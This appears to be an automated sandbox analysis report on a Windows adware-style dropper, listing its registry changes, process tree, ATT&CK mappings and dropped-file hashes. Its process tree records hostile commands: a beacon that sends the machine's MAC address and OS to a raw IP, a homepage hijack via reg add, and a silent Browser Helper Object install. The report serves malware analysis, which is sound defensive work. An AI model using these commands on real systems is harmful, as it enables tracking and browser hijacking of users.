Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{945E37E3-156F-4757-AA1F-CBA338DDFBE9}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{80F1D1E4-9D20-4501-B0F1-196A6B302060}\ = "_DKooPlayer"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar\CLSID\ = "{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0179B775-DF94-4BF5-8EF6-63BE876D1845}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BE61BB61-0E51-4080-8B6D-8F1FE00ABE38}\TypeLib	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{70747953-81DF-4F4D-9C7A-DAAD839FAD3B}\1.0\FLAGS	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\QvodAdBlocker.QvodBlock\Clsid	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\shellex\ContextMenuHandlers	test.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\TypeLib\{7B0F8D4E-2C8D-4F2A-805B-0E35BF90B713}\1.0\0\win32	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7AA7A8C8-6BA1-4F68-BB44-CA01D82830FB}\TypeLib	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{DEB9E5B3-3781-4A4C-80B8-216266A4B216}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\MiscStatus\1\ = "131473"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{042C7AAC-BD4A-4450-AA0C-AAC3A30CA19E}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E9536BC6-75F4-4CC7-A0AC-56A366BB9D12}\TypeLib\Version = "1.0"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{770B88B4-DCD8-4857-8E82-62C650F58545}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DEB9E5B3-3781-4A4C-80B8-216266A4B216}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar.1\CLSID\ = "{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{EAB7A1CC-C77B-45E5-9AC2-AD037D047BCC}\ProgID\ = "UPLAYER.UPlayerCtrl.1"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\ToolboxBitmap32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\Control\	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{78ABDC59-D8E7-44D3-9A76-9A0918C52B4A}\ProgID\ = "Downloader.DLoader.1"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{770B88B4-DCD8-4857-8E82-62C650F58545}\ = "_DUPlayer"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}\ProgID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\ProgID\ = "KOOPLAYER.CCTVPlayerCtrl.1"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\Control	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{070CA17A-4BD2-4612-83B4-32B1B9159B48}\Implemented Categories	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\UPLAYER.UPlayerCtrl.1\CLSID	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{70747953-81DF-4F4D-9C7A-DAAD839FAD3B}\1.0\0	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\shell	test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar.1\ = "CCTVUpdateInstall"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\TypeLib\Version = "1.0"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{EAB7A1CC-C77B-45E5-9AC2-AD037D047BCC}\MiscStatus\1\ = "131473"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\msm4file\shell\open\command	test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8A6847C0-D132-4FDC-A667-7751C0075A0E}\1.0\0\win32	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{7AA7A8C8-6BA1-4F68-BB44-CA01D82830FB}\ = "IDLoader"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E9536BC6-75F4-4CC7-A0AC-56A366BB9D12}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{945E37E3-156F-4757-AA1F-CBA338DDFBE9}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\uusee\\SEEPLA~1.OCX"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{EC28B75D-96D9-4C94-AF51-097924C54C99}\TypeLib	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8FEFF364-6A5F-4966-A917-A3AC28411659}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ATLDownLoadProgressBar.DownLoadProgressBar\CurVer\ = "CCTVUpdateInstall.DownLoadProgressBar.1"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7B0F8D4E-2C8D-4F2A-805B-0E35BF90B713}\1.0\HELPDIR	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\ToolboxBitmap32\ = "C:\\Program Files (x86)\\¼«ËÙµçÊÓ\\Kernel\\cctv\\CCTVUpdateInstall.dll, 101"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{6B1C04D4-FE66-4828-92E0-EEBCC8959BF3}\TypeLib\ = "{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\ProxyStubClsid32	t2.exe

Runs .reg file with regedit 1 IoCs

pid	Process
1532	regedit.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeRestorePrivilege	944	t2.exe
Token: SeBackupPrivilege	944	t2.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
852	iexplore.exe
852	iexplore.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
852	iexplore.exe
852	iexplore.exe
820	IEXPLORE.EXE
820	IEXPLORE.EXE
568	bho.exe
1736	jisutv.exe
1736	jisutv.exe
852	iexplore.exe
852	iexplore.exe
1736	jisutv.exe
568	bho.exe
568	bho.exe
1352	IEXPLORE.EXE
1352	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 1508	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	27
PID 1756 wrote to memory of 1508	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	27
PID 1756 wrote to memory of 1508	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	27
PID 1756 wrote to memory of 1508	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	27
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 944	1508	WScript.exe	28
PID 1508 wrote to memory of 2012	1508	WScript.exe	29
PID 1508 wrote to memory of 2012	1508	WScript.exe	29
PID 1508 wrote to memory of 2012	1508	WScript.exe	29
PID 1508 wrote to memory of 2012	1508	WScript.exe	29
PID 1508 wrote to memory of 1212	1508	WScript.exe	30
PID 1508 wrote to memory of 1212	1508	WScript.exe	30
PID 1508 wrote to memory of 1212	1508	WScript.exe	30
PID 1508 wrote to memory of 1212	1508	WScript.exe	30
PID 1508 wrote to memory of 976	1508	WScript.exe	32
PID 1508 wrote to memory of 976	1508	WScript.exe	32
PID 1508 wrote to memory of 976	1508	WScript.exe	32
PID 1508 wrote to memory of 976	1508	WScript.exe	32
PID 1212 wrote to memory of 1528	1212	cmd.exe	33
PID 1212 wrote to memory of 1528	1212	cmd.exe	33
PID 1212 wrote to memory of 1528	1212	cmd.exe	33
PID 1212 wrote to memory of 1528	1212	cmd.exe	33
PID 2012 wrote to memory of 852	2012	test.exe	34
PID 2012 wrote to memory of 852	2012	test.exe	34
PID 2012 wrote to memory of 852	2012	test.exe	34
PID 2012 wrote to memory of 852	2012	test.exe	34
PID 1212 wrote to memory of 1544	1212	cmd.exe	35
PID 1212 wrote to memory of 1544	1212	cmd.exe	35
PID 1212 wrote to memory of 1544	1212	cmd.exe	35
PID 1212 wrote to memory of 1544	1212	cmd.exe	35
PID 1756 wrote to memory of 980	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	38
PID 1756 wrote to memory of 980	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	38
PID 1756 wrote to memory of 980	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	38
PID 1756 wrote to memory of 980	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	38
PID 852 wrote to memory of 820	852	iexplore.exe	39
PID 852 wrote to memory of 820	852	iexplore.exe	39
PID 852 wrote to memory of 820	852	iexplore.exe	39
PID 852 wrote to memory of 820	852	iexplore.exe	39
PID 1756 wrote to memory of 1776	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	40
PID 1756 wrote to memory of 1776	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	40
PID 1756 wrote to memory of 1776	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	40
PID 1756 wrote to memory of 1776	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	40
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 568	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	41
PID 1756 wrote to memory of 1604	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	42
PID 1756 wrote to memory of 1604	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	42
PID 1756 wrote to memory of 1604	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	42
PID 1756 wrote to memory of 1604	1756	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe	42
PID 944 wrote to memory of 1736	944	t2.exe	43
PID 944 wrote to memory of 1736	944	t2.exe	43
PID 944 wrote to memory of 1736	944	t2.exe	43
PID 944 wrote to memory of 1736	944	t2.exe	43
PID 944 wrote to memory of 1736	944	t2.exe	43
PID 944 wrote to memory of 1736	944	t2.exe	43

C:\Users\Admin\AppData\Local\Temp\55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
"C:\Users\Admin\AppData\Local\Temp\55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\2222.vbs"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Program Files (x86)\winsoft9\t2.exe
    "C:\Program Files (x86)\winsoft9\t2.exe"
    3⤵
    - Executes dropped EXE
    - Registers COM server for autorun
    - Loads dropped DLL
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe
      "C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks whether UAC is enabled
      Suspicious use of SetWindowsHookEx
      PID:1736
- - C:\Program Files (x86)\winsoft9\test.exe
    "C:\Program Files (x86)\winsoft9\test.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=66-51-94-5c-a2-13&os=Microsoft Windows XP&flag=53a30cc588b554864ff7b5de6e01bf51&user=test
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:852
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:852 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:820
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:852 CREDAT:406530 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1352
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Program Files (x86)\winsoft9\3.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      reg del "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files (x86)\Internet Explorer\iexplore.exe http://www.936dh.com/?cf84" /f
      4⤵
      PID:1544
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\3.vbs"
    3⤵
    PID:976
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\3.vbs"
  2⤵
  PID:980
- C:\Program Files (x86)\winsoft9\test.exe
  "C:\Program Files (x86)\winsoft9\test.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies Internet Explorer settings
  PID:1776
- C:\Program Files (x86)\winsoft9\bho.exe
  "C:\Program Files (x86)\winsoft9\bho.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:568
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe /s "C:\Windows\aoedirahuuqzulnyvtbm\dllduyesaculc.dll"
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:788
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c regedit.exe /s C:\Windows\reg.reg
    3⤵
    PID:616
  - - C:\Windows\SysWOW64\regedit.exe
      regedit.exe /s C:\Windows\reg.reg
      4⤵
      Installs/modifies Browser Helper Object
      Runs .reg file with regedit
      PID:1532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\1.vbs"
  2⤵
  PID:1604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Browser Extensions

T1176

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\winsoft9\1.vbs

Filesize
154B

MD5
54517f28806a5a8a3cef5e8b81dd89c2

SHA1
6db271401f3cf668f08afc82fbbc93f7fb5e25b7

SHA256
bff276f558c6f950e5e37ea6d68458b82a2587a6005449dfd1728b7216d5cb80

SHA512
a8d909b2fc1ba2edcd0bc7df1901cd02b7e90bd005aec42b7398b04c4dbd4763d403a712b5f6df79727647570298d5db7e938f357f60b3f094029ad15bd31e6a

Download Submit
C:\Program Files (x86)\winsoft9\2222.vbs

Filesize
5KB

MD5
0e936c79225e718c6cd5c66a0b718f8f

SHA1
e7ef4e3847f77c391bbbc6905cdc64920e851360

SHA256
de90e361b94d83b53867764197062cb8c519e2f661b7e13064eae870e6237206

SHA512
283f517bd2a2428667faac1add604355cc7620920611191d50b6f3229b62a42429b73a023276789ab8de6febe76edb628b7f913139544c8837ccba8f095b33c2

Download Submit
C:\Program Files (x86)\winsoft9\3.bat

Filesize
1KB

MD5
c1c1cb1252a762c51fe712fb2d54cd47

SHA1
e7d32b64241d05c089ea59e009b9fb8740e331a7

SHA256
7883c615a25057e52c2ebb1a6ad2f1512618dd13a398bc2defb7a21082e81dd4

SHA512
852c5688bfe39f78f3ac7d653f5a1cb0b031b9ea1498e62afc95a566c70bf727ba45dd047c6c85c70387cd37802dc71b52f9d027285b65325de6d7974557314c

Download Submit
C:\Program Files (x86)\winsoft9\3.vbs

Filesize
787B

MD5
37de6106d9bbd195751ef78d83c89464

SHA1
c2e53e46676b12aafd9ecf8b2ba8fa18d4d63e80

SHA256
d617c7a3ecaab8b7c9e65f283027557ab812f5d87fe2a2fd480c8445936ff817

SHA512
07079311b09303d9ef2d00aa53ebc0c1e419d242a5a1fdee49b7753cc11fc03bf538d105689db87a92ec044554379b7d88fa93d7a4f405a0162193c2b03e3f81

Download Submit
C:\Program Files (x86)\winsoft9\bho.exe

Filesize
27KB

MD5
a588bcace7cd5b91e742ce2dd1159317

SHA1
bc8783c33b26faad9161fdc911c84eeed39d96bc

SHA256
f7948998750346c304b142b87dc3bd8065201f337729be73f751cd39023f03f7

SHA512
a956ecf9fb9d66969adf308e6dd1f6bd5b6d650532b1e592af7bd02c9256085db78b913565a73f75f8ce9042331a2bc9354bb14375e2261e7d58f03b72ad731f

Download Submit
C:\Program Files (x86)\winsoft9\bho.exe

Filesize
27KB

MD5
a588bcace7cd5b91e742ce2dd1159317

SHA1
bc8783c33b26faad9161fdc911c84eeed39d96bc

SHA256
f7948998750346c304b142b87dc3bd8065201f337729be73f751cd39023f03f7

SHA512
a956ecf9fb9d66969adf308e6dd1f6bd5b6d650532b1e592af7bd02c9256085db78b913565a73f75f8ce9042331a2bc9354bb14375e2261e7d58f03b72ad731f

Download Submit
C:\Program Files (x86)\winsoft9\game.ico

Filesize
14KB

MD5
173d5c23af9b3a269eb19b1c7426e7d2

SHA1
47bab303b6880ddbecd3c138fedf028449150f85

SHA256
55e846ccb820e699dc0dff83931a78b4ce6ba8489be1b13aad2c062d3452e9ff

SHA512
8b123a7412208ee1786cdffea25afdfa61216ca290cf724489b990a423886e155afe642d42c6c2fa14a254437ee9e0b473a15aa0313e871d04426d888058ba4a

Download Submit
C:\Program Files (x86)\winsoft9\mm.ico

Filesize
9KB

MD5
c6b53df7e7006fc1ce1bfd8a57cc5dd4

SHA1
06ea81ea5758b4d5ae700edaf6aaacbcd834b86e

SHA256
82d3aefca8e69aaa86145495e8fd711070d694fd29f31bc3a1cd4c13abc26a66

SHA512
f5296f215aaac7149f8ab7d80a425263f057fc592f8356dd36f9ac228bde87371b6a1e4ddc974722227634f96cade4e097565659da6b549e51ccedd74bdbef57

Download Submit
C:\Program Files (x86)\winsoft9\t2.exe

Filesize
3.6MB

MD5
e60e497a7699c38015ac463282140260

SHA1
b4e64e9f555acc065265b422180f1159f224a0b1

SHA256
31edbd1a3ef2c315dc784dcfe755d69b85d1692ad7944fb245a1eed470ed6b2b

SHA512
57e021a275f536d2ad92e589c10a22bb3d0e342175caf94f69bff345c333165e72147c4beb8a47004141d2729ddded58e7701d95b12593dcaf011e017eaf6200

Download Submit
C:\Program Files (x86)\winsoft9\t2.exe

Filesize
3.6MB

MD5
e60e497a7699c38015ac463282140260

SHA1
b4e64e9f555acc065265b422180f1159f224a0b1

SHA256
31edbd1a3ef2c315dc784dcfe755d69b85d1692ad7944fb245a1eed470ed6b2b

SHA512
57e021a275f536d2ad92e589c10a22bb3d0e342175caf94f69bff345c333165e72147c4beb8a47004141d2729ddded58e7701d95b12593dcaf011e017eaf6200

Download Submit
C:\Program Files (x86)\winsoft9\taobao.ico

Filesize
2KB

MD5
d77877537a5527e65aa9c34862c6b1e4

SHA1
4811c789b60dc8c25fcee1fa1e7b8a030c44c4eb

SHA256
0054c05f60ce75be1e31059a973f3f72544cdeaebab3f74eb446f78fa08f0493

SHA512
fd5a7c4f2a413d7291e00722f97a76aa7e37df0c3ffb86d54c1ac58e595d91ba08fc2c8c66ed74e20b4e873983e233112ff1859289370ef81ee05be7eea4a3d4

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
396KB

MD5
b574a521110491c9ff94176db007d73b

SHA1
c8a8e38c88906a5439c585621820e47e202c90c0

SHA256
17d93c553d77e4321deea6af458b560b6aaa4cfa442ce64de53b5674c2821740

SHA512
c4511bb86a858c31eec1fdcb9ee08c21a9ffff5a613a79107265272372a105d1a1504db033e5eaee33e3f67b1c553d72182e9a957c7aeb4ffc96e083b92f867c

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\info.ini

Filesize
114B

MD5
a4e9c7ca79ed34786589f664da635346

SHA1
33ead9343cca82873e4cb25916a99ed9c3ad1091

SHA256
336ceeeb12d08848662516e32515c3555189f832d6a84b26c38d5a0e66afbc92

SHA512
aa77bb5bbf677f884754e083dc38b8848285df377d45a732c823e805e27a5cb35cd9c525938d10ce4d89428edeeeb45f8661862a59c9464e873ce430e4dc1415

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe

Filesize
840KB

MD5
41dcbc9c3c76130dbfed826d1c1d3a6f

SHA1
f054c8d533db3ccef2b9e4e22df53e10c6b16e7e

SHA256
8a688bdd73c8b6f9545f7b4572335b9d992d416b24086d631b2f7b7b1bb4a783

SHA512
fb94a97e15b9085a7cd0f42bc28e0b52f594907e217066401182f0d27a9fe3c73d3a6d445421195d04eeef8bed565de047ce99a4a3d5bf587c3e5860efc562ab

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\jisutv.exe

Filesize
840KB

MD5
41dcbc9c3c76130dbfed826d1c1d3a6f

SHA1
f054c8d533db3ccef2b9e4e22df53e10c6b16e7e

SHA256
8a688bdd73c8b6f9545f7b4572335b9d992d416b24086d631b2f7b7b1bb4a783

SHA512
fb94a97e15b9085a7cd0f42bc28e0b52f594907e217066401182f0d27a9fe3c73d3a6d445421195d04eeef8bed565de047ce99a4a3d5bf587c3e5860efc562ab

Download Submit
C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese GB.ini

Filesize
1KB

MD5
43713ddfb796b6cfd8d2a29f60fbaa3c

SHA1
30b6441ba2e85bf3df2ca18c5947c4aa21f676e8

SHA256
0b41abe4f21798e40d495278b19a0246769ccb3e7d0bc06012545239953127d9

SHA512
484cecf232babc8e0bd68d85874b5c13110e7f3242bcef7d67aa91ee54abc5d10436ed48bb634bf69bf632b3a845d5d137e2448690ef1ab5f8ce492e6db976ce

Download Submit
C:\Program Files\Common Files\iexplore.exe

Filesize
785KB

MD5
0685765c0cbe095ba0c6c8790bae21ef

SHA1
ac421b25637dae29da89bf128c8767a85ae9ff9d

SHA256
1b3c732f64215970519e0895e6153ea3e83da8877a83aac62520cca5c04bd267

SHA512
feae15fa071e0656df05c6e0bf00c9cc6840d31b8f7f6edcb2738e59bf2f7bfd967537c7985285b1526cd508ed0792f7e14a6b4c8dfb64880d009b8770df3494

Download Submit
C:\Program Files\Internet Explorer\MUI\iexplore.exe

Filesize
785KB

MD5
0685765c0cbe095ba0c6c8790bae21ef

SHA1
ac421b25637dae29da89bf128c8767a85ae9ff9d

SHA256
1b3c732f64215970519e0895e6153ea3e83da8877a83aac62520cca5c04bd267

SHA512
feae15fa071e0656df05c6e0bf00c9cc6840d31b8f7f6edcb2738e59bf2f7bfd967537c7985285b1526cd508ed0792f7e14a6b4c8dfb64880d009b8770df3494

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
60KB

MD5
6c6a24456559f305308cb1fb6c5486b3

SHA1
3273ac27d78572f16c3316732b9756ebc22cb6ed

SHA256
efc3c579bd619ceab040c4b8c1b821b2d82c64fddd9e80a00ec0d7f6577ed973

SHA512
587d4a9175a6aa82cd8bb1c11ca6508f95cd218f76ac322ddbd1bc7146a0e25f8937ee426a6fb0fb0bb045cedb24d8c8a9edfe9f654112f293d8701220f726b4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
